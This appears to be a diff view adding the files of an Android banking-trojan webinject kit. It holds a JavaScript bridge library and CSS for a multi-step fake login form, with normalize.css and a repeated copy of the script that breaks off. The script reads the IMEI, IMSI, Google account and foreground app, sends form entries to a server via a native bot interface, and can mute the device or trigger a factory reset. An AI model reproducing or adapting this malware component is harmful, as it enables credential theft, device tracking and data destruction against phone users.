||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 9.4 KiB |
|
After Width: | Height: | Size: 7.0 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,307 @@
|
||||
|
||||
|
||||
|
||||
.container {
|
||||
padding-top:70px;
|
||||
}
|
||||
.wrapper .row {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_header{
|
||||
background: #148dea;
|
||||
border: solid 1px #365FB4;
|
||||
}
|
||||
.row_header + .row {
|
||||
margin-top: 14px;
|
||||
}
|
||||
.form_header {
|
||||
background: #ffffff;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
top:0;
|
||||
left:0;
|
||||
width:100%;
|
||||
padding: 20px 12px 6px 12px;
|
||||
border-bottom: solid 1px #A9A9A9;
|
||||
}
|
||||
.content{
|
||||
padding: 0 15px;
|
||||
max-width: 330px;
|
||||
margin: 0 auto;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #fff;
|
||||
font-family: "Helvetica";
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 131px;
|
||||
padding-right: 6%;
|
||||
margin-bottom: 13px;
|
||||
}
|
||||
.inp_caption_l {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
text-align: left;
|
||||
top: 8px;
|
||||
|
||||
}
|
||||
.inp_wr_l {
|
||||
float: right;
|
||||
width: 100%;
|
||||
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: none;
|
||||
outline-style: none;
|
||||
background-color: #FFF;
|
||||
border: 1px solid #E8E8E8;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
max-width: 330px;
|
||||
height: 35px;
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr {
|
||||
display:table;
|
||||
max-width:330px;
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.logon_btn {
|
||||
width: 140px;
|
||||
height: 40px;
|
||||
background-color: #FE0101;
|
||||
background-image: -moz-linear-gradient(bottom, #08108B 0%, #08108B 100%);
|
||||
background-image: -o-linear-gradient(bottom, #08108B 0%, #08108B 100%);
|
||||
background-image: -webkit-linear-gradient(bottom, #08108B 0%, #08108B 100%);
|
||||
background-image: linear-gradient(to top, #08108B 0%, #08108B 100%);
|
||||
border: 2px solid #F0F0F0;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
cursor: pointer;
|
||||
outline-style: none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
|
||||
.main_select {
|
||||
text-align: left;
|
||||
}
|
||||
.main_select.jq-selectbox {
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 35px;
|
||||
padding: 0 5px 0 5px;
|
||||
border: 1px solid #E8E8E8 !important;
|
||||
-moz-border-radius: 5px !important;
|
||||
-webkit-border-radius: 5px !important;
|
||||
border-radius: 5px !important;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
border-radius: 0;
|
||||
background: #fff;
|
||||
box-shadow: none;
|
||||
color: #363636;
|
||||
text-shadow: none;
|
||||
font-size: 14px;
|
||||
font: 14px/26px 'Helvetica';
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger {
|
||||
width: 30px;
|
||||
height: 35px !important;
|
||||
height: 100%;
|
||||
border-left: none;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow {
|
||||
top: 16px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text {
|
||||
height: 35px;
|
||||
line-height: 37px;
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown {
|
||||
top: 35px !important;
|
||||
width: 100%;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 1px solid #CCC;
|
||||
border-radius: 0;
|
||||
background: #FFF;
|
||||
box-shadow: none;
|
||||
font: 14px/26px 'Helvetica';
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown li{
|
||||
padding: 0 5px 0 !important;
|
||||
}
|
||||
@media (max-width: 320px){
|
||||
.inp_caption_l {
|
||||
left: 0;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 110px;
|
||||
padding-right: 0;
|
||||
}
|
||||
}
|
||||
@media (max-height: 436px){
|
||||
.form_header {
|
||||
padding: 10px 5px 5px 5px;
|
||||
height: 40px;
|
||||
}
|
||||
.container {padding-top:40px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 0;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.logon_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 20px;
|
||||
line-height: 22px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 20px !important;
|
||||
width: 18px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 9px;
|
||||
right: 6px;
|
||||
}
|
||||
.inp_caption_l{
|
||||
top: 3px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
}
|
||||
@media (max-height: 240px) {
|
||||
.input_block_wr_l{
|
||||
padding-left: 95px;
|
||||
}
|
||||
}
|
||||
@media (max-width: 200px), (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 18px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.container {padding-top:18px;}
|
||||
.form_header img{
|
||||
max-height: 13px;
|
||||
}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: -3px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 0;
|
||||
}
|
||||
.main_input{
|
||||
height: 12px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 1px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 1px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.logon_btn{
|
||||
font-size: 7px;
|
||||
width: 70px;
|
||||
height: 16px;
|
||||
line-height: 10px;
|
||||
}
|
||||
.logon_btn img {
|
||||
top: 4px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 3px;
|
||||
padding-left: 70px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 15px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 15px;
|
||||
line-height: 15px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 15px !important;
|
||||
width: 7px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 6px;
|
||||
right: 3px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 1.1 KiB |
|
After Width: | Height: | Size: 5.1 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
